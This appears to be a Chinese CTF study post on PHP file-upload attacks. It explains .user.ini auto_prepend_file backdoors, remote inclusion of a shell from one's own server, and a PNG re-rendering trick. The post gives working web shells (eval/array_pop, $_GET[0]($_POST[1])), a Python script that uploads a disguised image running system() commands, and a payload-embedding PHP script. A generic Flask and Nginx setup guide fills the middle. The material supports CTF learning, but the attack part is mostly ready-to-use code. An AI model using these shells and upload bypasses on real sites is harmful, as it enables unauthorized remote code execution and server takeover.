Java教程

文件上传-1

本文主要是介绍文件上传-1,对大家解决编程问题具有一定的参考价值,需要的程序猿们随着小编来一起学习吧!

.user.ini

在每次运行php文件时,会自动去读取这个配置文件,来设置PHP的相关规则

PHP_INI_*模式的定义

模式 含义
PHP_INI_USER 可在用户脚本(例如ini_set())或Windows注册表(自PHP 5.3起)以及.user.ini中设定
PHP_INI_PERDIR 可在php.ini, .htaccess或httpd.conf中设定
PHP_INI_SYSTEM 可在php.ini或httpd.conf中设定
PHP_INI_ALL 可在任何地方设定

实际上,除了PHP_INI_SYSTEM以外的模式,都能通过.user.ini来设置。而且和php.ini不同的是,.user.ini是一个能被动态加载的ini文件。即修改了.user.ini后不需要重启服务器中间件,只要等待user_ini.cacher_ttl所设置的时间(默认为300秒),即可被重新加载。

后门设置

我们能够自定义的设置是模式PHP_INI_PERDIR和PHP_INI_USER的设置
其中有两个配置可以制造后门

指定一个文件,自动包含在要执行的文件前,类似于在文件前调用了require()函数。而auto_append_file类似,只是在文件后面包含,直接将下面语句写在user.ini中即可

auto_prepend_file = test.jpg

或者

auto_append_file = test.jpg

访问方法

直接访问index.php
注意:访问上传目录的index.php


PHP短标签

在php的配置文件(php.ini)中有一个short_open_tag的值,开启以后才可以使用PHP的短标签:
同时,只有开启这个才可以使用<?=代替<? echo


数组过滤括号

使用数组相应函数弹出数组内容

<?= eval(array_pop($_POST))?>

写个脚本

import requests

url = "http://7f10bd72-59b8-49c0-9ad7-79b773290359.challenge.ctf.show/upload.php"

files = {"file": ("world.png", "<?= system(\"{}\")?>".format(input("Please input command:")), "image/png")}

response = requests.post(url, files=files)
print(response.text)

result = requests.get(url[:-4] + "/index.php")
print(result.text)

尝试各种文件头


记一次远程文件包含

  1. 上传.user.ini文件,使其解析无后缀的文件"22"
  2. 在"22"中使用include调用http协议请求自己云服务器shell,实现getshell。

注意:有的时候需要使用flask框架搭建的网站,而不能使用index.php

debian下flask环境搭建

安装基础包

sudo apt-get install build-essential
sudo apt-get install libncurses5-dev libncursesw5-dev libreadline6-dev
sudo apt-get install libdb5.1-dev libgdbm-dev libsqlite3-dev libssl-dev      
sudo apt-get install libbz2-dev libexpat1-dev liblzma-dev zlib1g-dev

安装Python3

sudo apt-get update
sudo apt-get install python3.6

安装Nginx

sudo apt-get install nginx
# 查看版本
nginx -v

启动Nginx

sudo /etc/init.d/nginx start

停止Nginx

sudo nginx -s stop

安装uWSGI

pip install uwsgi

安装虚拟环境virtualenv

pip install virtualenv

安装网站

首先cd到你做网站根目录的地址,然后

  

创建:
    virtualenv env
激活虚拟环境:
    source env/bin/activate
安装flask:
    pip install flask
退出虚拟环境:
    deactivate

写一个Flask文件

from flask import Flask
app = Flask(__name__)
@app.route("/")
def hello():
    return "你好呀,胡炎凯!"
if __name__ == "__main__":
    app.run(host='0.0.0.0', port=80)

开始

进入虚拟环境
python main.py就可以了

将ip转为长地址

32位十进制数


直接请求远程文件

在.user.ini中配置auto_prepend_file=http://xxx
或者配置auto_append_file=http://xxx


二次渲染脚本

<?php
$p = array(0xa3, 0x9f, 0x67, 0xf7, 0x0e, 0x93, 0x1b, 0x23,
           0xbe, 0x2c, 0x8a, 0xd0, 0x80, 0xf9, 0xe1, 0xae,
           0x22, 0xf6, 0xd9, 0x43, 0x5d, 0xfb, 0xae, 0xcc,
           0x5a, 0x01, 0xdc, 0x5a, 0x01, 0xdc, 0xa3, 0x9f,
           0x67, 0xa5, 0xbe, 0x5f, 0x76, 0x74, 0x5a, 0x4c,
           0xa1, 0x3f, 0x7a, 0xbf, 0x30, 0x6b, 0x88, 0x2d,
           0x60, 0x65, 0x7d, 0x52, 0x9d, 0xad, 0x88, 0xa1,
           0x66, 0x44, 0x50, 0x33);



$img = imagecreatetruecolor(32, 32);

for ($y = 0; $y < sizeof($p); $y += 3) {
   $r = $p[$y];
   $g = $p[$y + 1];
   $b = $p[$y + 2];
   $color = imagecolorallocate($img, $r, $g, $b);
   imagesetpixel($img, round($y / 3), 0, $color);
}

imagepng($img,'2.png');
/*
<?$_GET[0]($_POST[1]);?>
*/

?>

这篇关于文件上传-1的文章就介绍到这儿,希望我们推荐的文章对大家有所帮助,也希望大家多多支持为之网!